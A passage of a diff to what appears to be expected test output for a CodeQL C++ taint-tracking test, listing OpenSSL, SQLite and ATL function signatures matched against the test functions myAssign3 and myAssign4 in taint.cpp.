| +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (PKCS7 *,int) | | PKCS7_set_type | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (RSA *,int) | | RSA_clear_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (RSA *,int) | | RSA_set_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (RSA_METHOD *,int) | | RSA_meth_set_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL *,int) | | SSL_key_update | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL *,int) | | SSL_set_post_handshake_auth | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL *,int) | | SSL_set_purpose | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL *,int) | | SSL_set_quiet_shutdown | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL *,int) | | SSL_set_read_ahead | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL *,int) | | SSL_set_security_level | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL *,int) | | SSL_set_shutdown | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL *,int) | | SSL_set_trust | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL *,int) | | SSL_set_verify_depth | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL_CONNECTION *,int) | | dtls1_read_failed | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL_CONNECTION *,int) | | tls1_shared_group | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL_CTX *,int) | | SSL_CTX_set_purpose | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL_CTX *,int) | | SSL_CTX_set_security_level | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL_CTX *,int) | | SSL_CTX_set_trust | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL_CTX *,int) | | ssl_md | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (TS_REQ *,int) | | TS_REQ_delete_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (TS_REQ *,int) | | TS_REQ_get_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (WPACKET *,int) | | ossl_DER_w_begin_sequence | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509 *,int) | | X509_delete_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509 *,int) | | X509_self_signed | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509_ACERT *,int) | | X509_ACERT_delete_attr | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509_CRL *,int) | | X509_CRL_delete_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509_NAME *,int) | | X509_NAME_delete_entry | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509_REQ *,int) | | X509_REQ_delete_attr | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509_STORE *,int) | | X509_STORE_set_depth | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509_STORE *,int) | | X509_STORE_set_purpose | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509_STORE *,int) | | X509_STORE_set_trust | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (acttab *,int) | | acttab_insert | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (char *,int) | | PEM_proc_type | 1 | | taint.cpp:307:6:307:14 | myAssign3 | (char,int) | CStringT | CStringT | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const BIGNUM *,int) | | BN_get_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const BIGNUM *,int) | | BN_is_bit_set | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const BIO *,int) | | BIO_get_ex_data | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const BIO *,int) | | BIO_test_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const DH *,int) | | DH_get_ex_data | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const DH *,int) | | DH_test_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const DH *,int) | | ossl_dh_dup | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const DSA *,int) | | DSA_get_ex_data | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const DSA *,int) | | DSA_test_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const DSA *,int) | | ossl_dsa_dup | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const ECX_KEY *,int) | | ossl_ecx_key_dup | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const EC_KEY *,int) | | EC_KEY_get_ex_data | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const EC_KEY *,int) | | ossl_ec_key_dup | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const ENGINE *,int) | | ENGINE_get_ex_data | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const RSA *,int) | | RSA_get_ex_data | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const RSA *,int) | | RSA_test_flags | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const RSA *,int) | | ossl_rsa_dup | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const SSL *,int) | | SSL_get_ex_data | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const SSL_SESSION *,int) | | ssl_session_dup | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const UI *,int) | | UI_get_ex_data | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const UI_METHOD *,int) | | UI_method_get_ex_data | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const X509 *,int) | | X509_get_ex_data | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const X509 *,int) | | X509_get_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const X509_ACERT *,int) | | X509_ACERT_get_attr | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const X509_CRL *,int) | | X509_CRL_get_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const X509_NAME *,int) | | X509_NAME_get_entry | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const X509_REQ *,int) | | X509_REQ_get_attr | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const X509_STORE *,int) | | X509_STORE_get_ex_data | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const X509_STORE_CTX *,int) | | X509_STORE_CTX_get_ex_data | 1 | | taint.cpp:307:6:307:14 | myAssign3 | (const XCHAR *,int) | CStringT | CStringT | 1 | | taint.cpp:307:6:307:14 | myAssign3 | (const YCHAR *,int) | CStringT | CStringT | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const char *,int) | | DH_meth_new | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const char *,int) | | DSA_meth_new | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const char *,int) | | Jim_StrDupLen | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const char *,int) | | NETSCAPE_SPKI_b64_decode | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const char *,int) | | RSA_meth_new | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const char *,int) | | parse_yesno | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const unsigned char *,int) | | Jim_GenHashFunction | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const unsigned char *,int) | | OPENSSL_uni2asc | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (const unsigned char *,int) | | OPENSSL_uni2utf8 | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (int *,int) | | X509_PURPOSE_set | 0 | +| taint.cpp:307:6:307:14 | myAssign3 | (int *,int) | | X509_PURPOSE_set | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (int *,int) | | X509_TRUST_set | 0 | +| taint.cpp:307:6:307:14 | myAssign3 | (int *,int) | | X509_TRUST_set | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (int,int) | | BN_security_bits | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (int,int) | | EVP_MD_meth_new | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (int,int) | | EVP_PKEY_meth_new | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (int,int) | | acttab_alloc | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (rule *,int) | | Configlist_add | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (rule *,int) | | Configlist_addbasis | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3 *,int) | | sqlite3_busy_timeout | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3 *,int) | | sqlite3_db_name | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_backup *,int) | | sqlite3_backup_step | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_context *,int) | | sqlite3_aggregate_context | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_context *,int) | | sqlite3_result_error_code | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_stmt *,int) | | sqlite3_column_blob | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_stmt *,int) | | sqlite3_column_bytes | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_stmt *,int) | | sqlite3_column_decltype | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_stmt *,int) | | sqlite3_column_decltype16 | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_stmt *,int) | | sqlite3_column_double | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_stmt *,int) | | sqlite3_column_int | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_stmt *,int) | | sqlite3_column_int64 | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_stmt *,int) | | sqlite3_column_name | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_stmt *,int) | | sqlite3_column_name16 | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_stmt *,int) | | sqlite3_column_text | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_stmt *,int) | | sqlite3_column_text16 | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_stmt *,int) | | sqlite3_column_type | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_stmt *,int) | | sqlite3_column_value | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (uint16_t,int) | | tls1_group_id2nid | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (unsigned char *,int) | | RAND_bytes | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (unsigned char *,int) | | RAND_priv_bytes | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (unsigned char *,int) | | ossl_ipaddr_to_asc | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (unsigned short,int) | | dtls1_get_queue_priority | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (void *,int) | | DSO_dsobyaddr | 1 | +| taint.cpp:307:6:307:14 | myAssign3 | (void *,int) | | sqlite3_realloc | 1 | | taint.cpp:307:6:307:14 | myAssign3 | (wchar_t,int) | CStringT | CStringT | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (BIGNUM *,int) | | BN_clear_bit | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (BIGNUM *,int) | | BN_mask_bits | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (BIGNUM *,int) | | BN_set_bit | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (BIGNUM *,int) | | BN_set_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (BIGNUM *,int) | | bn_expand2 | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (BIGNUM *,int) | | bn_wexpand | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (BIO *,int) | | BIO_clear_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (BIO *,int) | | BIO_find_type | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (BIO *,int) | | BIO_set_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (BIO *,int) | | BIO_set_init | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (BIO *,int) | | BIO_set_retry_reason | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (BIO *,int) | | BIO_set_shutdown | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (BIO *,int) | | TXT_DB_read | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (DH *,int) | | DH_clear_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (DH *,int) | | DH_set_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (DH_METHOD *,int) | | DH_meth_set_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (DSA *,int) | | DSA_clear_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (DSA *,int) | | DSA_set_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EC_KEY *,int) | | EC_KEY_set_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (ENGINE *,int) | | ENGINE_set_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 1 | | taint.cpp:312:6:312:14 | myAssign4 | (LPCOLESTR,int) | CComBSTR | Append | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 1 | +| 